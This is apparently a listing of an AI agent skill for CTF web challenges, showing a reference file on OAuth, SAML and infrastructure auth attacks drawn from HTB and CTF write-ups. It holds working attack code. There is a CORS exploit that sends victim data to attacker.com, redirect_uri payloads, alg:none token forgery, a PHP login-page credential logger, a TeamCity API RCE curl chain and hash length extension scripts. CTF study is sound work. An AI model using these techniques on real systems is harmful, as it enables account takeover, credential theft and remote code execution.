ljagiello/ctf-skills / ctf-web
ctf-web
FlaggedProvides web exploitation techniques for CTF challenges. Use when the target is primarily an HTTP application, API, browser client, template engine, identity flow, or smart-contract frontend/backend surface, including XSS, SQLi, SSTI, SSRF, XXE, JWT, auth bypass, file upload, request smuggling, OAuth/OIDC, SAML, prototype pollution, and similar web bugs. Do not use it for native binary memory corruption, reverse engineering of standalone executables, disk or memory forensics, or pure cryptanalysis unless the web flaw is still the main path to the flag.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 16.8 KB |
| auth-and-access-2.md | markdown | 5.1 KB |
| auth-and-access.md | markdown | 58.6 KB |
| auth-infra.md | markdown | 16.5 KB |
| auth-jwt.md | markdown | 11.1 KB |
| client-side-advanced.md | markdown | 39.0 KB |
| client-side.md | markdown | 23.6 KB |
| cves.md | markdown | 15.9 KB |
| field-notes.md | markdown | 42.9 KB |
| node-and-prototype.md | markdown | 6.7 KB |
| pat-reference.md | markdown | 12.7 KB |
| python-requests.md | markdown | 20.4 KB |
| scripts/async_fuzz.pyexecutable | script | 6.9 KB |
| server-side-2.md | markdown | 15.5 KB |
| server-side-advanced-2.md | markdown | 25.7 KB |
| server-side-advanced-3.md | markdown | 6.9 KB |
| server-side-advanced-4.md | markdown | 21.7 KB |
| server-side-advanced.md | markdown | 15.8 KB |
| server-side-deser.md | markdown | 21.9 KB |
| server-side-exec-2.md | markdown | 38.7 KB |
| server-side-exec.md | markdown | 21.5 KB |
| server-side.md | markdown | 29.7 KB |
| sql-injection.md | markdown | 38.1 KB |
| tools-mcp.md | markdown | 35.0 KB |
| web3.md | markdown | 17.0 KB |
auth-infra.md
View on GitHub# CTF Web - OAuth, SAML & Infrastructure Auth Attacks
## Table of Contents
- [OAuth/OIDC Exploitation](#oauthoidc-exploitation)
- [Open Redirect Token Theft](#open-redirect-token-theft)
- [OIDC ID Token Manipulation](#oidc-id-token-manipulation)
- [OAuth State Parameter CSRF](#oauth-state-parameter-csrf)
- [CORS Misconfiguration](#cors-misconfiguration)
- [Git History Credential Leakage (Barrier HTB)](#git-history-credential-leakage-barrier-htb)
- [CI/CD Variable Credential Theft (Barrier HTB)](#cicd-variable-credential-theft-barrier-htb)
- [Identity Provider API Takeover (Barrier HTB)](#identity-provider-api-takeover-barrier-htb)
- [SAML SSO Flow Automation (Barrier HTB)](#saml-sso-flow-automation-barrier-htb)
- [Apache Guacamole Connection Parameter Extraction (Barrier HTB)](#apache-guacamole-connection-parameter-extraction-barrier-htb)
- [Login Page Poisoning for Credential Harvesting (Watcher HTB)](#login-page-poisoning-for-credential-harvesting-watcher-htb)
- [TeamCity REST API RCE (Watcher HTB)](#teamcity-rest-api-rce-watcher-htb)
- [Base64 Decode Leniency and Parameter Override for Signature Bypass (BCTF 2016)](#base64-decode-leniency-and-parameter-override-for-signature-bypass-bctf-2016)
- [Hash Length Extension Attack (ASIS CTF 2017)](#hash-length-extension-attack-asis-ctf-2017)
For JWT/JWE token attacks, see [auth-jwt.md](auth-jwt.md). For general auth bypass and access control, see [auth-and-access.md](auth-and-access.md).
## Modern OAuth/OIDC & Infra Additions (2025/2026)
### OAuth email canonicalization and alias confusion
The app may treat `alice+debug@example.com` as a separate identity while the provider normalizes it to the same account. This is especially common with Gmail and other providers that transform plus-addressing or case-folded addresses.
**Check:**
- compare raw tokens and server-side user records
- ensure `sub`/`oid` is the canonical identity, not email text
- test multiple aliases before trusting `email` as the unique identifier
### `redirect_uri` exact-match bypasses
A surprising number of SSO bugs are caused by weak redirect validation rather than improper token signing. A common bypass is accepting a callback that differs only by hostname, path normalization, or a subdomain suffix.
**Typical payloads:**
- `https://target.com/callback/../evil.com`
- `https://target.com.evil.com`
- double-encoded host components
- path traversal or percent-encoded backslash tricks
**Best practice:** compare the canonicalized redirect URL against an exact allowlist of origin/path pairs, not a prefix or suffix check.
### State and nonce reuse across tenants
If a backend accepts `state` or `nonce` without tying it to a specific `client_id`, browser session, or login challenge, then an attacker can replay one session's SSO callback in another request context.
**Look for:**
- callback accepted even when `client_id` differs
- same `state` value reused across multiple login attempts
- `nonce` present but not bound to a specific session or redirect URI
### IdP API takeover via service-account tokens
A service account or admin token used by the identity provider may be stored in CI/CD variables, application configs, or backup files. If reachable, it can be used to modify user registration, password resets, MFA state, and even SAML assertion generation.
**Quick checks:**
- inspect CI/CD variables, Git history, and config files for OIDC/IdP credentials
- enumerate admin APIs for user management and password reset endpoints
- see whether MFA has `not_configured_action: skip`
### SAML and OIDC callback poisoning
The callback may be missing or ignoring `RelayState`, `session_state`, or `state` on the final redirect. This lets the attacker chain a valid login response into a different user or tenant context.
**Defensive guidance:** bind all callback parameters to the original request and compare them exactly before issuing a session.
---
## OAuth/OIDC Exploitation
### Open Redirect Token Theft
```python
# OAuth authorization with redirect_uri manipulation
# If redirect_uri validation is weak, steal tokens via open redirect
import requests
# Step 1: Craft malicious authorization URL
auth_url = "https://target.com/oauth/authorize"
params = {
"client_id": "legitimate_client",
"redirect_uri": "https://target.com/callback/../@attacker.com", # path traversal
"response_type": "code",
"scope": "openid profile"
}
# Victim clicks → auth code sent to attacker's server
# Common redirect_uri bypasses:
# https://target.com/callback?next=https://evil.com
# https://target.com/callback/../@evil.com
# https://target.com/callback%23@evil.com (fragment)
# https://target.com/callback/.evil.com
# https://target.com.evil.com (subdomain)
```
### OIDC ID Token Manipulation
```python
# If server accepts unsigned tokens (alg: none)
import jwt, json, base64
token = "eyJ..." # captured ID token
header, payload, sig = token.split(".")
# Decode and modify
payload_data = json.loads(base64.urlsafe_b64decode(payload + "=="))
payload_data["sub"] = "admin"
payload_data["email"] = "admin@target.com"
# Re-encode with alg:none
new_header = base64.urlsafe_b64encode(json.dumps({"alg": "none", "typ": "JWT"}).encode()).rstrip(b"=")
new_payload = base64.urlsafe_b64encode(json.dumps(payload_data).encode()).rstrip(b"=")
forged = f"{new_header.decode()}.{new_payload.decode()}."
```
### OAuth State Parameter CSRF
```python
# Missing or predictable state parameter allows CSRF
# Attacker initiates OAuth flow, captures callback URL with auth code
# Sends callback URL to victim → victim's session linked to attacker's OAuth account
# Detection: Check if state parameter is:
# 1. Present in authorization request
# 2. Validated on callback
# 3. Bound to user session (not just random)
```
**Key insight:** OAuth/OIDC (OpenID Connect) attacks typically target redirect_uri validation (open redirect → token theft), token manipulation (alg:none, JWKS injection), or state parameter CSRF. Always test redirect_uri with path traversal, fragment injection, and subdomain tricks.
---
## CORS Misconfiguration
```python
# Test for reflected Origin
import requests
targets = [
"https://evil.com",
"https://target.com.evil.com",
"null",
"https://target.com%60.evil.com",
]
for origin in targets:
r = requests.get("https://target.com/api/sensitive",
headers={"Origin": origin})
acao = r.headers.get("Access-Control-Allow-Origin", "")
acac = r.headers.get("Access-Control-Allow-Credentials", "")
if origin in acao or acao == "*":
print(f"[!] Reflected: {origin} -> ACAO: {acao}, ACAC: {acac}")
```
```javascript
// Exploit: steal data via CORS misconfiguration
// Host on attacker server, victim visits this page
fetch('https://target.com/api/user/profile', {
credentials: 'include'
}).then(r => r.json()).then(data => {
fetch('https://attacker.com/steal?data=' + btoa(JSON.stringify(data)));
});
```
**Key insight:** CORS (Cross-Origin Resource Sharing) is exploitable when `Access-Control-Allow-Origin` reflects the `Origin` header AND `Access-Control-Allow-Credentials: true`. Check for subdomain matching (`*.target.com` accepts `evil-target.com`), null origin acceptance (`sandbox` iframe), and prefix/suffix matching bugs.
---
## Git History Credential Leakage (Barrier HTB)
Secrets removed in later commits remain in git history. Search the full diff history for deleted credentials:
```bash
git log --all --oneline
git show <first_commit>
# Search all history for a keyword across all branches:
git log -p --all -S "password"
```
**Key insight:** `git log -p --all -S "keyword"` searches every commit diff for any string, including deleted secrets. Always check first commits and removed files.
---
## CI/CD Variable Credential Theft (Barrier HTB)
CI/CD (Continuous Integration/Continuous Deployment) variable settings store secrets (API tokens, passwords) readable by project admins. These are often admin-level tokens for connected services (authentik, Vault, AWS).
```bash
# GitLab: Settings -> CI/CD -> Variables (visible to project admins)
# GitHub: Settings -> Secrets and variables -> Actions
# Jenkins: Manage Jenkins -> Credentials
```
**Key insight:** CI/CD variables frequently contain service account tokens with elevated privileges. A GitLab project admin can read all CI/CD variables, which may include tokens for identity providers, secret stores, or cloud platforms.
---
## Identity Provider API Takeover (Barrier HTB)
Exploits an admin API token for identity providers (authentik, Keycloak, Okta) to take over any user account.
**Attack chain:**
1. Enumerate users: `GET /api/v3/core/users/`
2. Set target user's password: `POST /api/v3/core/users/{pk}/set_password/`
3. Check authentication flow stages — if MFA (Multi-Factor Authentication) has `not_configured_action: skip`, it auto-skips when no MFA devices are configured
4. Authenticate through flow step-by-step (GET to start stage, POST to submit, follow 302s)
**Key insight:** Identity provider admin tokens are the keys to the kingdom. If MFA stages have `not_configured_action: skip`, setting a user's password is sufficient for full account takeover — no MFA bypass needed.
---
## SAML SSO Flow Automation (Barrier HTB)
Automates SAML (Security Assertion Markup Language) SSO login for services like Guacamole or internal apps when you control IdP (Identity Provider) credentials.
**Steps:**
1. Start login flow at the service — capture `SAMLRequest` + `RelayState` from the redirect
2. Authenticate with IdP (via API or session)
3. Submit IdP's signed `SAMLResponse` + original `RelayState` to service callback
4. Extract auth token from state parameter redirect
**Key insight:** Preserve `RelayState` through the entire flow — it correlates the callback with the login request. Mismatched `RelayState` causes authentication failure even with a valid `SAMLResponse`.
---
## Apache Guacamole Connection Parameter Extraction (Barrier HTB)
Apache Guacamole stores SSH keys, passwords, and connection details in MySQL. Extract them with DB access or an authenticated API token:
```bash
# Via API with auth token
curl "http://TARGET:8080/guacamole/api/session/data/mysql/connections/1/parameters?token=$TOKEN"
# Returns: hostname, port, username, private-key, passphrase
```
```sql
-- Via MySQL directly
SELECT c.connection_name, cp.parameter_name, cp.parameter_value
FROM guacamole_connection c
JOIN guacamole_connection_parameter cp ON c.connection_id = cp.connection_id;
```
**Key insight:** Guacamole connection parameters contain plaintext SSH private keys and passphrases. A single API token or database access exposes credentials for every managed host.
---
## Login Page Poisoning for Credential Harvesting (Watcher HTB)
Injects a credential logger into the web app login page to capture plaintext passwords:
```php
// Add after successful login check in index.php:
$f = fopen('/dev/shm/creds.txt', 'a+');
fputs($f, "{$_POST['name']}:{$_POST['password']}\n");
fclose($f);
```
Wait for automated logins (bots, cron scripts). Check audit logs for frequently-logging-in users — they likely have hardcoded credentials you can harvest.
**Key insight:** `/dev/shm/` is a tmpfs mount writable by any user and invisible to most monitoring. Automated services (backup scripts, health checks) often authenticate with elevated credentials on predictable schedules.
---
## TeamCity REST API RCE (Watcher HTB)
Exploits TeamCity admin credentials to achieve RCE (Remote Code Execution) through build step injection:
```bash
# 1. Create project
curl -X POST 'http://HOST:8111/httpAuth/app/rest/projects' \
-u 'USER:PASS' -H 'Content-Type: application/xml' \
-d '<newProjectDescription name="pwn" id="pwn"><parentProject locator="id:_Root"/></newProjectDescription>'
# 2. Create build config
curl -X POST 'http://HOST:8111/httpAuth/app/rest/projects/pwn/buildTypes' \
-u 'USER:PASS' -H 'Content-Type: application/xml' \
-d '<newBuildTypeDescription name="rce" id="rce"><project id="pwn"/></newBuildTypeDescription>'
# 3. Add command-line build step
curl -X POST 'http://HOST:8111/httpAuth/app/rest/buildTypes/id:rce/steps' \
-u 'USER:PASS' -H 'Content-Type: application/xml' \
-d '<step name="cmd" type="simpleRunner"><properties>
<property name="script.content" value="cat /root/root.txt"/>
<property name="use.custom.script" value="true"/>
</properties></step>'
# 4. Trigger build
curl -X POST 'http://HOST:8111/httpAuth/app/rest/buildQueue' \
-u 'USER:PASS' -H 'Content-Type: application/xml' \
-d '<build><buildType id="rce"/></build>'
# 5. Read build log for output
curl 'http://HOST:8111/httpAuth/downloadBuildLog.html?buildId=ID' -u 'USER:PASS'
```
**Key insight:** If build agent runs as root, all build steps execute as root. Check `ps aux` for build agent process ownership. TeamCity REST API provides full project/build management — admin credentials = RCE.
---
## Base64 Decode Leniency and Parameter Override for Signature Bypass (BCTF 2016)
Server RSA-signs an order string, then parses `&`-separated parameters. Python's `b64decode()` silently ignores non-base64 characters. Appending `&price=0` after the base64 signature exploits both behaviors:
```python
# Original signed order: "item=widget&price=100"
# Server returns: base64(RSA_sign(order)) as signature
# Attack: append &price=0 after the signature
# b64decode("VALID_SIG_BASE64&price=0") silently ignores "&price=0"
# But the parameter parser sees: item=widget&price=100&price=0
# Last value wins: price=0
```
**Key insight:** Gap between what is signed (pre-signature content) and what is parsed (full string including post-signature data), enabled by base64's tolerance for non-alphabet characters. Any system that concatenates signed data with unsigned parameters and uses lenient base64 decoding is vulnerable. Defense: validate signature over the exact bytes being parsed, not a subset.
---
## Hash Length Extension Attack (ASIS CTF 2017)
*See also [ctf-crypto/modern-ciphers-2.md — Hash Length Extension Attack (PlaidCTF 2014)](../ctf-crypto/modern-ciphers-2.md#hash-length-extension-attack-plaidctf-2014) for the canonical crypto writeup of the same primitive.*
**Pattern:** Merkle-Damgård hash functions (MD5, SHA-1, SHA-256) used as `MAC = H(secret || message)` are vulnerable to length extension. Given `H(secret || message)` and the length of `secret`, an attacker can compute `H(secret || message || padding || extension)` without knowing the secret. The internal hash state at the end of the original digest is sufficient to continue hashing.
```python
# Vulnerable MAC construction:
import hashlib
mac = hashlib.sha256(secret + message).hexdigest()
# Server sends: mac + message to client, verifies by recomputing H(secret || message)
# Attack: extend the message without knowing the secret
# hashpumpy does the heavy lifting:
import hashpumpy
original_mac = "a1b2c3..." # known hash
original_msg = b"user=alice" # known message
secret_len = 16 # known or brute-forced (try 1-100)
extension = b"&admin=true" # data to append
new_mac, new_msg = hashpumpy.hashpump(
original_mac, # original hexdigest
original_msg, # original data (without secret)
extension, # data to append
secret_len # secret length
)
# new_msg = original_msg + padding + extension
# new_mac = valid H(secret || new_msg) without knowing secret
```
```bash
# Alternative: hash_extender tool
hash_extender \
--data "user=alice" \
--secret-min 1 --secret-max 50 \
--append "&admin=true" \
--signature "a1b2c3..." \
--format sha256
# Or: manual Python with hashpumpy, brute-force secret length
for length in range(1, 101):
new_mac, new_msg = hashpumpy.hashpump(orig_mac, orig_msg, extension, length)
r = requests.get(url, params={"data": new_msg.hex(), "mac": new_mac})
if "success" in r.text:
print(f"Secret length: {length}, Flag: {r.text}")
break
```
**Padding structure:** Between the original message and the extension, the hash algorithm inserts its standard padding:
```text
original_msg || 0x80 || 0x00...0x00 || length_in_bits (8 bytes big-endian)
```
This padding is part of `new_msg` — the server will verify it as-is.
**Vulnerable algorithms:** MD5, SHA-1, SHA-224, SHA-256, SHA-384, SHA-512 (all Merkle-Damgård). **Not vulnerable:** HMAC (uses two separate hash passes), SHA-3/Keccak (sponge construction), BLAKE2/3.
**Key insight:** Any Merkle-Damgård hash used as `H(secret || data)` without HMAC construction leaks internal state at the message boundary, enabling arbitrary message extension. Use `hashpumpy` or `hash_extender`. If the secret length is unknown, brute-force it (1-100 is a reasonable range for CTFs) — the valid extension will produce a server-accepted MAC.
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| deprecation-and-migrationaddyosmani/agent-skillsManages deprecation and migration. Use when removing old systems, APIs, or features. Use when migrating users from one implementation to another. Use when migrating a database schema in production, such as renaming or dropping a column without downtime (expand/contract). Use when deciding whether to maintain or sunset existing code. | Stars: 119k | Updated | Claude CodeCodex | Verified | Install |
| performance-optimizationaddyosmani/agent-skillsOptimizes application performance across frontend, backend, queries, and databases. Use when performance requirements exist, when you suspect performance regressions, when Core Web Vitals or load times need improvement, when N+1 query patterns need fixing, or when profiling reveals bottlenecks. | Stars: 119k | Updated | Claude CodeCodex | Verified | Install |
| agent-cost-reportthedotmack/claude-memBelievable agent cost report for any period, default the last 7 full days PT, not counting today. Measured tokens from Claude Code transcripts priced at OpenRouter list prices (ESTIMATED), measured provider spend when a sanctioned source exists, note-taker cost separate, Timing-style HTML/PDF plus report.json, line-items.csv, evidence.json. | Stars: 118k | Updated | Claude CodeCodex | Verified | Install |
| agent-cost-reportthedotmack/claude-memBelievable agent cost report for any period, default the last 7 full days PT, not counting today. Measured tokens from Claude Code transcripts priced at OpenRouter list prices (ESTIMATED), measured provider spend when a sanctioned source exists, note-taker cost separate, Timing-style HTML/PDF plus report.json, line-items.csv, evidence.json. | Stars: 118k | Updated | Claude CodeCodex | Verified | Install |